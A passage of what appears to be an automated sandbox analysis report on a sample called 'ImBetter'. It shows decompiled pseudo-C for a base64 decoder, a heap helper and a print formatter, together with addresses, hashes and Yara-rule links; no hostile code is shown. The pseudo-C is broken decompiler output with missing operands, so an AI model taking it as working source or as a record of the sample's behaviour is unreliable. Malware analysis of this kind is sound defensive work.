				E00007FF77FF7E6B0A2B0( *( *_t189 + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				if (_t244 - _t265 >= 0) goto 0xe6b1c2c0;
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c2a1;
				_t190 =  *_t189;
				_t248 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				goto 0xe6b1c2c2;
				E00007FF77FF7E6B0A2B0(0x3d,  *_t189, _t254 + 0x60);
				E00007FF77FF7E6B0A2B0(0x3d,  *_t189, _t254 + 0x60);
				asm("xorps xmm0, xmm0");
				asm("inc ecx");
				 *((long long*)(_t270 + 0x10)) = _t267;
				 *((long long*)(_t270 + 0x18)) = 0xf;
				 *_t270 = 0;
				 *((intOrPtr*)(_t254 + 0x20)) = 4;
				asm("movups [esp+0x28], xmm0");
				if ((_t114 & 0x00000022) == 2) goto 0xe6b1c32a;
				_t257 =  *((intOrPtr*)( *((intOrPtr*)(_t251 - 0x58))));
				if (_t257 == 0) goto 0xe6b1c32a;
				_t258 =  <  ?  *((void*)(_t251 - 0x30)) : _t257;
				_t259 = ( <  ?  *((void*)(_t251 - 0x30)) : _t257) -  *((intOrPtr*)( *((intOrPtr*)(_t251 - 0x78))));
				goto 0xe6b1c35b;
				if ((_t114 & 0x00000004) != 0) goto 0xe6b1c351;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t251 - 0x60)))) == 0) goto 0xe6b1c351;
				goto 0xe6b1c35b;
				if ( *((intOrPtr*)(_t254 + 0x28)) == 0) goto 0xe6b1c369;
				E00007FF77FF7E6B1D230(_t270,  *((intOrPtr*)(_t254 + 0x28)),  *((intOrPtr*)(_t254 + 0x30)));
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B1BDD0(_t190, _t254 + 0x50,  >=  ?  *0xe6b6e110 : 0xe6b6e110, _t267), _t114,  *(_t251 + 0x50) ^ _t254);
			}

0x7ff7e6b1bfd0
0x7ff7e6b1bfe0
0x7ff7e6b1bfe5
0x7ff7e6b1bfec
0x7ff7e6b1bff6
0x7ff7e6b1bffa
0x7ff7e6b1bffd
0x7ff7e6b1c000
0x7ff7e6b1c005
0x7ff7e6b1c008
0x7ff7e6b1c02e
0x7ff7e6b1c037
0x7ff7e6b1c043
0x7ff7e6b1c045
0x7ff7e6b1c048
0x7ff7e6b1c04f
0x7ff7e6b1c056
0x7ff7e6b1c05d
0x7ff7e6b1c05d
0x7ff7e6b1c061
0x7ff7e6b1c06b
0x7ff7e6b1c077
0x7ff7e6b1c084
0x7ff7e6b1c089
0x7ff7e6b1c08f
0x7ff7e6b1c09a
0x7ff7e6b1c0a4
0x7ff7e6b1c0ba
0x7ff7e6b1c0be
0x7ff7e6b1c0c4
0x7ff7e6b1c0ca
0x7ff7e6b1c0d8
0x7ff7e6b1c0e8
0x7ff7e6b1c101
0x7ff7e6b1c106
0x7ff7e6b1c10b
0x7ff7e6b1c113
0x7ff7e6b1c11c
0x7ff7e6b1c12c
0x7ff7e6b1c150
0x7ff7e6b1c155
0x7ff7e6b1c15d
0x7ff7e6b1c168
0x7ff7e6b1c16a
0x7ff7e6b1c178
0x7ff7e6b1c188
0x7ff7e6b1c193
0x7ff7e6b1c1aa
0x7ff7e6b1c1b7
0x7ff7e6b1c1c7
0x7ff7e6b1c1e1
0x7ff7e6b1c1ed
0x7ff7e6b1c1f6
0x7ff7e6b1c204
0x7ff7e6b1c214
0x7ff7e6b1c22e
0x7ff7e6b1c233
0x7ff7e6b1c23a
0x7ff7e6b1c244
0x7ff7e6b1c252
0x7ff7e6b1c25f
0x7ff7e6b1c26f
0x7ff7e6b1c28d
0x7ff7e6b1c295
0x7ff7e6b1c29c
0x7ff7e6b1c29e
0x7ff7e6b1c2a9
0x7ff7e6b1c2be
0x7ff7e6b1c2c7
0x7ff7e6b1c2d3
0x7ff7e6b1c2d9
0x7ff7e6b1c2dc
0x7ff7e6b1c2e0
0x7ff7e6b1c2e4
0x7ff7e6b1c2ec
0x7ff7e6b1c2f0
0x7ff7e6b1c2f8
0x7ff7e6b1c307
0x7ff7e6b1c30d
0x7ff7e6b1c313
0x7ff7e6b1c320
0x7ff7e6b1c325
0x7ff7e6b1c328
0x7ff7e6b1c32d
0x7ff7e6b1c339
0x7ff7e6b1c34f
0x7ff7e6b1c35e
0x7ff7e6b1c363
0x7ff7e6b1c39c

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 00007FF7E6B1C061

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 2801635615-1713319389
Opcode ID: bd7ebaa5a0b4dacb204f66a1622c76fc9b56667ef83d924e99def9113d82a51d
Instruction ID: ef98c9796171f14687db25b00ce94a411e3d6d004674af7c21f84aff85b1dfd1
Opcode Fuzzy Hash: bd7ebaa5a0b4dacb204f66a1622c76fc9b56667ef83d924e99def9113d82a51d
Instruction Fuzzy Hash: E2B1C262A2CAA581EB04EB55DC503BEB762FB85B84FA44433DA5E83795DF3CE141C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1BA60 Relevance: 1.5, Strings: 1, Instructions: 235
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7E6B1BA60(long long __rbx, long long __rcx, intOrPtr* __rdx, long long _a24) {
				signed int _v72;
				void* _v192;
				void _v200;
				void* _v224;
				intOrPtr* _v240;
				intOrPtr* _v248;
				intOrPtr* _v272;
				void* _v280;
				char _v312;
				char _v328;
				long long _v344;
				intOrPtr _v360;
				intOrPtr _v368;
				intOrPtr _v376;
				void* __rsi;
				void* __rbp;
				void* _t134;
				signed long long _t157;
				intOrPtr _t167;
				intOrPtr* _t190;
				void* _t197;
				intOrPtr _t222;
				intOrPtr _t231;
				long long _t232;
				void* _t234;
				void* _t235;
				signed long long _t237;
				void* _t238;
				void* _t239;
				void* _t240;
				intOrPtr _t246;
				void* _t248;
				long long _t254;
				intOrPtr* _t255;
				signed long long _t257;

				_a24 = __rbx;
				_t241 = _t240 - 0x160;
				_t157 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v72 = _t157 ^ _t240 - 0x00000160;
				_t190 = __rdx;
				_t255 = __rcx;
				_v344 = __rcx;
				r13d = 0;
				_v376 = r13d;
				_t231 =  *((intOrPtr*)(__rdx + 0x10));
				r8d = 0xf8;
				E00007FF77FF7E6B3EA30();
				E00007FF77FF7E6B1C3A0(0, __rdx,  &_v328, _t235, _t238);
				if ((dil & 0x00000003) != 0) goto 0xe6b1bce1;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1badf;
				goto 0xe6b1bae7;
				_t197 =  !=  ? _t231 : _t231 - 1;
				_t257 =  !=  ? _t197 : _t197 - 1;
				_t237 = _t257 & 0xfffffffc;
				_t232 = _t254;
				if ( *((char*)(_t197 + _t190 - 1)) - 0x3d <= 0) goto 0xe6b1bbfd;
				_t134 =  *((long long*)(_t190 + 0x18)) - 0x10;
				if (_t134 < 0) goto 0xe6b1bb21;
				goto 0xe6b1bb2a;
				if (_t134 < 0) goto 0xe6b1bb2d;
				E00007FF77FF7E6B0A2B0((( *( *((char*)( *_t190 + _t232 + 1)) + 0xe6b61020) & 0x000000ff) >> 0x00000004 & 0x00000003) + (( *( *((char*)(_t190 + _t232)) + 0xe6b61020) & 0x000000ff) << 2), _t190,  &_v312);
				_t222 =  *((intOrPtr*)(_t190 + 0x18));
				if (_t222 - 0x10 < 0) goto 0xe6b1bb6b;
				goto 0xe6b1bb7b;
				if (_t222 - 0x10 < 0) goto 0xe6b1bb7e;
				E00007FF77FF7E6B0A2B0((( *( *((char*)( *_t190 + _t232 + 2)) + 0xe6b61020) & 0x000000ff) >> 0x00000002 & 0x0000000f) + (( *( *((char*)(_t190 + 1 + _t232)) + 0xe6b61020) & 0x000000ff) << 4), _t190,  &_v312);
				_t167 =  *((intOrPtr*)(_t190 + 0x18));
				if (_t167 - 0x10 < 0) goto 0xe6b1bbbd;
				goto 0xe6b1bbcd;
				if (_t167 - 0x10 < 0) goto 0xe6b1bbd0;
				E00007FF77FF7E6B0A2B0((( *( *((char*)(_t190 + 2 + _t232)) + 0xe6b61020) & 0x000000ff) << 6) +  *((intOrPtr*)( *((char*)( *_t190 + _t232 + 3)) + 0xe6b61020)), _t190,  &_v312);
				if (_t232 + 4 - _t237 < 0) goto 0xe6b1bb12;
				if (_t237 - _t257 >= 0) goto 0xe6b1bce1;
				_t234 = _t237 + 1;
				if (_t234 - _t257 >= 0) goto 0xe6b1bc2f;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1bc1c;
				goto 0xe6b1bc31;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1bc3e;
				E00007FF77FF7E6B0A2B0(( *( *((char*)( *_t190 + _t237)) + 0xe6b61020) & 0x000000ff) << 2, _t190,  &_v312);
				_t239 = _t237 + 2;
				if (_t234 - _t257 >= 0) goto 0xe6b1bca9;
				if (_t239 - _t257 >= 0) goto 0xe6b1bc85;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1bc72;
				goto 0xe6b1bc87;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1bc94;
				goto 0xe6b1bcab;
				E00007FF77FF7E6B0A2B0(0, _t190,  &_v312);
				if (_t239 - _t257 >= 0) goto 0xe6b1bcd4;
				if ( *((long long*)(_t190 + 0x18)) - 0x10 < 0) goto 0xe6b1bcc4;
				_t191 =  *_t190;
				goto 0xe6b1bcd6;
				E00007FF77FF7E6B0A2B0(0,  *_t190,  &_v312);
				asm("xorps xmm0, xmm0");
				asm("inc ecx");
				 *((long long*)(_t255 + 0x10)) = _t254;
				 *((long long*)(_t255 + 0x18)) = 0xf;
				 *_t255 = 0;
				_v376 = 4;
				asm("movups [esp+0x28], xmm0");
				if (0 == 2) goto 0xe6b1bd46;
				_t246 =  *_v240;
				if (_t246 == 0) goto 0xe6b1bd46;
				_t247 =  <  ? _v200 : _t246;
				_t248 = ( <  ? _v200 : _t246) -  *_v272;
				goto 0xe6b1bd83;
				if (0 != 0) goto 0xe6b1bd79;
				if ( *_v248 == 0) goto 0xe6b1bd79;
				goto 0xe6b1bd83;
				if (_v368 == 0) goto 0xe6b1bd91;
				E00007FF77FF7E6B1D230(_t255, _v368, _v360);
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B1BDD0(_t191,  &_v328, _t237), 0, _v72 ^ _t241);
			}

0x7ff7e6b1ba60
0x7ff7e6b1ba70
0x7ff7e6b1ba77
0x7ff7e6b1ba81
0x7ff7e6b1ba89
0x7ff7e6b1ba8c
0x7ff7e6b1ba8f
0x7ff7e6b1ba94
0x7ff7e6b1ba97
0x7ff7e6b1ba9c
0x7ff7e6b1baa2
0x7ff7e6b1baad
0x7ff7e6b1bab7
0x7ff7e6b1bac1
0x7ff7e6b1bad0
0x7ff7e6b1badd
0x7ff7e6b1bae7
0x7ff7e6b1baf7
0x7ff7e6b1bb05
0x7ff7e6b1bb09
0x7ff7e6b1bb0c
0x7ff7e6b1bb12
0x7ff7e6b1bb17
0x7ff7e6b1bb1f
0x7ff7e6b1bb28
0x7ff7e6b1bb51
0x7ff7e6b1bb56
0x7ff7e6b1bb5e
0x7ff7e6b1bb69
0x7ff7e6b1bb79
0x7ff7e6b1bba2
0x7ff7e6b1bba7
0x7ff7e6b1bbaf
0x7ff7e6b1bbbb
0x7ff7e6b1bbcb
0x7ff7e6b1bbeb
0x7ff7e6b1bbf7
0x7ff7e6b1bc00
0x7ff7e6b1bc06
0x7ff7e6b1bc0d
0x7ff7e6b1bc17
0x7ff7e6b1bc2d
0x7ff7e6b1bc39
0x7ff7e6b1bc52
0x7ff7e6b1bc57
0x7ff7e6b1bc5e
0x7ff7e6b1bc63
0x7ff7e6b1bc6d
0x7ff7e6b1bc83
0x7ff7e6b1bc8f
0x7ff7e6b1bca7
0x7ff7e6b1bcb0
0x7ff7e6b1bcb8
0x7ff7e6b1bcbf
0x7ff7e6b1bcc1
0x7ff7e6b1bcd2
0x7ff7e6b1bcdb
0x7ff7e6b1bce1
0x7ff7e6b1bce4
0x7ff7e6b1bce8
0x7ff7e6b1bcec
0x7ff7e6b1bcf4
0x7ff7e6b1bcf8
0x7ff7e6b1bd00
0x7ff7e6b1bd13
0x7ff7e6b1bd1d
0x7ff7e6b1bd23
0x7ff7e6b1bd38
0x7ff7e6b1bd41
0x7ff7e6b1bd44
0x7ff7e6b1bd49
0x7ff7e6b1bd59
0x7ff7e6b1bd77
0x7ff7e6b1bd86
0x7ff7e6b1bd8b
0x7ff7e6b1bdc8

Strings

=, xrefs: 00007FF7E6B1BADF

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-2322244508
Opcode ID: b34c8c0b1a86c808e03bcfde8cd177f8893cf139f15cfc6e3c78cfd8d693fa7b
Instruction ID: 1f3b713d4f54a876dbe613e57f5d40f653dcb6167f9a9cb27f9ec7a29fc42d0c
Opcode Fuzzy Hash: b34c8c0b1a86c808e03bcfde8cd177f8893cf139f15cfc6e3c78cfd8d693fa7b
Instruction Fuzzy Hash: 82A1E4A2628AC591EB159B15D4A13BFB723EB91F84FA48033CA5D036DACF3DD145C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B321D4 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B321D4(long long __rax) {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0xe6b6d1d8 = __rax;
				return _t3 & 0xffffff00 | __rax != 0x00000000;
			}

0x7ff7e6b321d8
0x7ff7e6b321e1
0x7ff7e6b321ef

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7E6B321D8

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f936eed4876d3c76f144d108b77a032d3a9c0e85b7ac6e8428625a7931ddec2e
Instruction ID: e82be3419e1477fbcd5771489d9d5170c3587c7658123ba7b03480847e937a5d
Opcode Fuzzy Hash: f936eed4876d3c76f144d108b77a032d3a9c0e85b7ac6e8428625a7931ddec2e
Instruction Fuzzy Hash: 83B09224E27A42C2EA087B116C8231972A87F88701FE4903AC40C42320EE3C20A98722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B45E9C Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64dd0c07ac2ae24cb1a1fa3771ada9d35c345dbc947ec5570b18cd28d53378a8
Instruction ID: 7ea34dac33ec2a4e838e4592ab352e54a7dbd143075e4007d77969f3ec7acedf
Opcode Fuzzy Hash: 64dd0c07ac2ae24cb1a1fa3771ada9d35c345dbc947ec5570b18cd28d53378a8
Instruction Fuzzy Hash: 47424521D3DE5689E253AB359D117B7B729BF553C0FA18333E80E36954EF3CA8428611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B27DB4 Relevance: .3, Instructions: 317
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7E6B27DB4(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				intOrPtr _t108;
				void* _t111;
				unsigned int _t147;
				signed char _t148;
				unsigned int _t153;
				signed int _t159;
				void* _t169;
				void* _t172;
				void* _t173;
				signed long long _t231;
				void* _t247;
				intOrPtr* _t252;
				intOrPtr* _t256;
				void* _t260;
				void* _t261;
				intOrPtr _t264;
				intOrPtr _t268;
				signed int* _t270;
				void* _t274;
				void* _t275;
				void* _t278;
				intOrPtr _t279;
				void* _t283;
				void* _t287;
				intOrPtr* _t288;

				_t278 = __r8;
				_t272 = __rsi;
				_t260 = __rdx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t274 = _t275;
				_t276 = _t275 - 0x50;
				_t231 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v56 = _t231 ^ _t275 - 0x00000050;
				_t108 =  *((intOrPtr*)(__rcx + 0x39));
				_t247 = __rcx;
				r13d = 1;
				dil = 0x78;
				sil = 0x58;
				r14b = 0x41;
				_t173 = _t108 - 0x64;
				if (_t173 > 0) goto 0xe6b27e57;
				if (_t173 == 0) goto 0xe6b27eba;
				if (_t108 == r14b) goto 0xe6b27ec7;
				if (_t108 == 0x43) goto 0xe6b27e3a;
				if (_t108 - 0x44 <= 0) goto 0xe6b27ed0;
				if (_t108 - 0x47 <= 0) goto 0xe6b27ec7;
				if (_t108 == 0x53) goto 0xe6b27e7c;
				if (_t108 == sil) goto 0xe6b27e4d;
				if (_t108 == 0x5a) goto 0xe6b27e46;
				if (_t108 == 0x61) goto 0xe6b27ec7;
				if (_t108 != 0x63) goto 0xe6b27ed0;
				E00007FF77FF7E6B28444(_t108, _t108 - 0x63, __rcx);
				goto 0xe6b27ecc;
				E00007FF77FF7E6B28180(__rcx);
				goto 0xe6b27ecc;
				_t111 = E00007FF77FF7E6B27258(r13b, __rcx, __rcx, _t260, __rsi, _t274, _t278, _t283);
				goto 0xe6b27ecc;
				if (_t111 - 0x67 <= 0) goto 0xe6b27ec7;
				if (_t111 == 0x69) goto 0xe6b27eba;
				if (_t111 == 0x6e) goto 0xe6b27eb3;
				if (_t111 == 0x6f) goto 0xe6b27e93;
				if (_t111 == 0x70) goto 0xe6b27e83;
				if (_t111 == 0x73) goto 0xe6b27e7c;
				if (_t111 == 0x75) goto 0xe6b27ebe;
				if (_t111 != dil) goto 0xe6b27ed0;
				goto 0xe6b27e50;
				E00007FF77FF7E6B285BC(__rcx);
				goto 0xe6b27ecc;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				goto 0xe6b27e4d;
				_t147 =  *(__rcx + 0x28);
				if ((r13b & _t147 >> 0x00000005) == 0) goto 0xe6b27ea7;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t147;
				E00007FF77FF7E6B26E88(0, __rcx, __rcx, _t260, _t272, _t274, _t278, _t283);
				goto 0xe6b27ecc;
				E00007FF77FF7E6B28508(__rcx, __rcx);
				goto 0xe6b27ecc;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00007FF77FF7E6B27070(0, __rcx, __rcx, _t260, _t272, _t274, _t278, _t283);
				goto 0xe6b27ecc;
				if (E00007FF77FF7E6B281F8(0, _t169, __rcx, __rcx, _t272, _t274) != 0) goto 0xe6b27ed7;
				goto 0xe6b28156;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0xe6b28153;
				_t148 =  *(__rcx + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0xe6b27f24;
				if ((r13b & 0) == 0) goto 0xe6b27f09;
				_v72 = 0x2d;
				goto 0xe6b27f21;
				if ((r13b & _t148) == 0) goto 0xe6b27f14;
				_v72 = 0x2b;
				goto 0xe6b27f21;
				if ((r13b & 0) == 0) goto 0xe6b27f24;
				_v72 = 0x20;
				_t261 = _t287;
				r8b =  *((intOrPtr*)(__rcx + 0x39));
				if ((r8b - sil & 0x000000df) != 0) goto 0xe6b27f41;
				if ((r13b & _t148 >> 0x00000005) == 0) goto 0xe6b27f41;
				r9b = r13b;
				goto 0xe6b27f44;
				r9b = 0;
				_t132 = r8b - r14b;
				if (r9b != 0) goto 0xe6b27f58;
				if ((r8b - r14b & 0xffffff00 | (_t132 & 0x000000df) == 0x00000000) == 0) goto 0xe6b27f73;
				 *((char*)(_t274 + _t261 - 0x20)) = 0x30;
				if (r8b == sil) goto 0xe6b27f67;
				if (r8b != r14b) goto 0xe6b27f6a;
				dil = sil;
				 *((intOrPtr*)(_t274 + _t261 - 0x1f)) = dil;
				_t172 =  *((intOrPtr*)(__rcx + 0x2c)) -  *((intOrPtr*)(__rcx + 0x48));
				if ((_t148 & 0x0000000c) != 0) goto 0xe6b27fdf;
				r9d = 0;
				if (_t172 <= 0) goto 0xe6b27fdf;
				_t279 =  *((intOrPtr*)(__rcx + 0x460));
				if ( *((intOrPtr*)(_t279 + 0x10)) !=  *((intOrPtr*)(_t279 + 8))) goto 0xe6b27fae;
				if ( *((char*)(_t279 + 0x18)) == 0) goto 0xe6b27fa6;
				goto 0xe6b27fa9;
				 *(__rcx + 0x20) =  *(__rcx + 0x20) + 0x00000001 | 0xffffffff;
				goto 0xe6b27fd2;
				 *(__rcx + 0x20) = __rcx + 1;
				 *((intOrPtr*)(_t279 + 0x10)) =  *((intOrPtr*)(_t279 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))))) = 0x20;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) + _t287;
				if ( *(__rcx + 0x20) == 0xffffffff) goto 0xe6b27fdf;
				r9d = r9d + r13d;
				if (r9d - _t172 < 0) goto 0xe6b27f8a;
				_t60 = _t247 + 0x20; // 0x98
				_t270 = _t60;
				r8d = 0;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				_t62 = _t247 + 0x460; // 0x4d8
				_t288 = _t62;
				_t252 = _t288;
				E00007FF77FF7E6B286D8(_t169, _t172, __rcx, _t252, _t270, _t272, _t274, _t270);
				_t153 =  *(__rcx + 0x28);
				if ((r13b & _t153 >> 0x00000003) == 0) goto 0xe6b28068;
				if ((r13b & _t153 >> 0x00000002) != 0) goto 0xe6b28068;
				r8d = 0;
				if (_t172 <= 0) goto 0xe6b28068;
				_t264 =  *_t288;
				if ( *((intOrPtr*)(_t264 + 0x10)) !=  *((intOrPtr*)(_t264 + 8))) goto 0xe6b28041;
				if ( *((char*)(_t264 + 0x18)) == 0) goto 0xe6b2803a;
				goto 0xe6b2803d;
				 *_t270 =  *_t270 + 0x00000001 | 0xffffffff;
				goto 0xe6b2805b;
				 *_t270 = _t252 + 1;
				 *((intOrPtr*)(_t264 + 0x10)) =  *((intOrPtr*)(_t264 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *_t288)))) = 0x30;
				 *((intOrPtr*)( *_t288)) =  *((intOrPtr*)( *_t288)) + _t287;
				if ( *_t270 == 0xffffffff) goto 0xe6b28068;
				r8d = r8d + r13d;
				if (r8d - _t172 < 0) goto 0xe6b28023;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0xe6b280da;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0xe6b280da;
				r14d = 0;
				_t79 =  &_v68; // -27
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_t80 =  &_v72; // -31
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E00007FF77FF7E6B2FC60( *((intOrPtr*)(__rcx + 8)), __rcx, _t80, _t79, _t274, _t279) != 0) goto 0xe6b280d5;
				r8d = _v72;
				if (r8d == 0) goto 0xe6b280d5;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00007FF77FF7E6B286D8(_t169, _t172, _t247, _t288, _t270, _t272, _t274, _t270);
				r14d = r14d + r13d;
				if (r14d !=  *(_t247 + 0x48)) goto 0xe6b2807b;
				goto 0xe6b280f6;
				 *_t270 =  *_t270 | 0xffffffff;
				goto 0xe6b280f6;
				r8d =  *(_t247 + 0x48);
				_t256 = _t288;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00007FF77FF7E6B286D8(_t169, _t172, _t247, _t256, _t270, _t272, _t274, _t270);
				_t159 =  *_t270;
				if (_t159 < 0) goto 0xe6b28153;
				if ((r13b &  *(_t247 + 0x28) >> 0x00000002) == 0) goto 0xe6b28153;
				r8d = 0;
				if (_t172 <= 0) goto 0xe6b28153;
				_t268 =  *_t288;
				if ( *((intOrPtr*)(_t268 + 0x10)) !=  *((intOrPtr*)(_t268 + 8))) goto 0xe6b2812c;
				if ( *((char*)(_t268 + 0x18)) == 0) goto 0xe6b28125;
				goto 0xe6b28128;
				 *_t270 = _t159 + 0x00000001 | 0xffffffff;
				goto 0xe6b28146;
				 *_t270 = _t256 + 1;
				 *((intOrPtr*)(_t268 + 0x10)) =  *((intOrPtr*)(_t268 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *_t288)))) = 0x20;
				 *((intOrPtr*)( *_t288)) =  *((intOrPtr*)( *_t288)) + _t287;
				if ( *_t270 == 0xffffffff) goto 0xe6b28153;
				r8d = r8d + r13d;
				if (r8d - _t172 < 0) goto 0xe6b2810e;
				return E00007FF77FF7E6B3C7F0(r13b,  *_t270, _v56 ^ _t276);
			}

0x7ff7e6b27db4
0x7ff7e6b27db4
0x7ff7e6b27db4
0x7ff7e6b27db4
0x7ff7e6b27db9
0x7ff7e6b27dbe
0x7ff7e6b27dcc
0x7ff7e6b27dcf
0x7ff7e6b27dd3
0x7ff7e6b27ddd
0x7ff7e6b27de1
0x7ff7e6b27de4
0x7ff7e6b27de7
0x7ff7e6b27ded
0x7ff7e6b27df0
0x7ff7e6b27df3
0x7ff7e6b27df6
0x7ff7e6b27df8
0x7ff7e6b27dfa
0x7ff7e6b27e03
0x7ff7e6b27e0b
0x7ff7e6b27e0f
0x7ff7e6b27e17
0x7ff7e6b27e1f
0x7ff7e6b27e24
0x7ff7e6b27e28
0x7ff7e6b27e2c
0x7ff7e6b27e34
0x7ff7e6b27e3c
0x7ff7e6b27e41
0x7ff7e6b27e46
0x7ff7e6b27e4b
0x7ff7e6b27e50
0x7ff7e6b27e55
0x7ff7e6b27e59
0x7ff7e6b27e5d
0x7ff7e6b27e61
0x7ff7e6b27e65
0x7ff7e6b27e69
0x7ff7e6b27e6d
0x7ff7e6b27e71
0x7ff7e6b27e76
0x7ff7e6b27e7a
0x7ff7e6b27e7c
0x7ff7e6b27e81
0x7ff7e6b27e83
0x7ff7e6b27e8a
0x7ff7e6b27e91
0x7ff7e6b27e93
0x7ff7e6b27e9e
0x7ff7e6b27ea0
0x7ff7e6b27ea4
0x7ff7e6b27eac
0x7ff7e6b27eb1
0x7ff7e6b27eb3
0x7ff7e6b27eb8
0x7ff7e6b27eba
0x7ff7e6b27ec0
0x7ff7e6b27ec5
0x7ff7e6b27ece
0x7ff7e6b27ed2
0x7ff7e6b27edb
0x7ff7e6b27ee1
0x7ff7e6b27ee6
0x7ff7e6b27eec
0x7ff7e6b27ef7
0x7ff7e6b27f01
0x7ff7e6b27f03
0x7ff7e6b27f07
0x7ff7e6b27f0c
0x7ff7e6b27f0e
0x7ff7e6b27f12
0x7ff7e6b27f1b
0x7ff7e6b27f1d
0x7ff7e6b27f21
0x7ff7e6b27f24
